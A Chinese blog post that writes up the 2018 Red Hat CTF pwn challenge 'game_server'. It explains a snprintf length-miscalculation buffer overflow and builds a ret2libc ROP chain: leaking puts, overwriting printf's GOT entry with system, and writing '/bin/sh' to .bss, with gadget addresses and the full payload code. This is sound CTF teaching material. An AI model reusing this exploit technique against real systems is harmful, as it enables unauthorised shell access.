欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[原创]2018redhat_gameserver 记一次较为详细的解题过程 (附原题)

[原创]2018redhat_gameserver 记一次较为详细的解题过程 (附原题)

1025 game_server pwn2

0x00 check

拿到题checksec,ida



是只开启了NX保护的。(这样的题目一般是ret2libc)


0x01 寻找溢出点




观察题目,发现第33行的地方有溢出点,通过read函数可以向s里面写nbytes个字节,同时在第21行nbytes又可以被name和occupation这个两个变量的大小所影响,因为snprintf函数是有这个漏洞的:

「snprintf的返回值是欲写入的字符串长度,而不是实际写入的字符串长度。」如:


char test[8];

int ret = snprintf(test,5,"1234567890");

printf("%d | %s\n",ret,test);


运行结果为


10 | 1234


10 -> 欲写入"1234567890"

实写入"1234\0" -> 5 

所以nbyte的长度取决于

"Our %s is a noble %s. He is come from north and well change out would.",name,occupation

而name,occupation的长度又取决于我们的输入。


由于s的栈空间大小为0x111,因此我们控制name,occupation的长度远超出0x111,则可实现溢出。


溢出后考虑getshell的方式。


0x02 如何getshell



通过调试发现,溢出一次后并不能返回main函数,因此我们只有一次构造溢出的机会,这时考虑构造rop攻击。

ROPgadget 工具查询 gadget:



这里我们选择的gadget是:pop ebp ret 和 pop esi ; pop edi ; pop ebp ; ret,利用他们来保存栈平衡。


思路:

1.构造完整payload,泄露puts_addr及修改栈中函数调用;

2.根据puts_addr,确定libc版本;

3.根据libc版本得到puts_offset,通过puts_offset、system_offset计算libc_base和system_addr;

4.传入system_addr与"/bin/sh"到修改后的栈中;

5.getshell。


0x03 构造payload

根据题意,我们需要4个payload。

payload1 = 'a' * 0xff

payload2 = 'b' * 0xff

payload3 = Y

payload4 构造思路:

1.首先执行puts函数将puts的真正地址打印出来;

2.接着执行read函数将system的地址写到printf的got表中;

3.再接着执行read函数将/bin/sh参数读入bss段中;

4.最后再执行printf函数也就是相对于执行了system(/bin/sh)。


0x04 获取地址信息

01 调用puts并弹出puts地址 (所需地址如下)

a. puts_plt

b. pop ebp ; ret       0x0804881b

c. puts_got


利用pwntools




可得puts_plt地址,ida查看也是ok的



02 调用read将ppp地址弹入printf.got  (所需地址如下)

a. read_plt

b. pop esi ; pop edi ; pop ebp ; ret

c. printf_got


修改01的exp可得



同样ida




03 调用read将ppp地址弹入bss  (所需地址如下)

a. read_plt

b. pop esi ; pop edi ; pop ebp ; ret

c. bss


这里还是写码结合ida验证




.bss段:BSS段通常是指用来存放程序中未初始化的或者初始化为0的全局变量和静态变量的一块内存区域。特点是可读写的,在程序执行之前BSS段会自动清0。


04 调用printf(ppp)  (所需地址如下)

a. printf_plt

b. bss


如上图:



05 整理


a. puts_plt                                0x8048480

b. pop ebp ; ret                           0x804881b

c. puts_got                                0x804a020

d. read_plt                                0x8048440

e. pop esi ; pop edi ; pop ebp ; ret       0x8048819

f. printf_got                              0x804a014

g. printf_plt                              0x8048450

h. bss                                     0x804a040


06 完整payload4

payload4 = 'a' * 0x111 + 'aaaa' + p32(puts_plt) + p32(p_ebp_ret) + p32(puts_got)

payload4 += p32(read_plt) + p32(ppp_ret) + p32(0) + p32(printf_got) + p32(4)

payload4 += p32(read_plt) + p32(ppp_ret) + p32(0) + p32(bss) +p32(8)

payload4 += p32(printf_plt) + p32(0xdeadbeef) + p32(bss)


0x05 执行部分exp

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功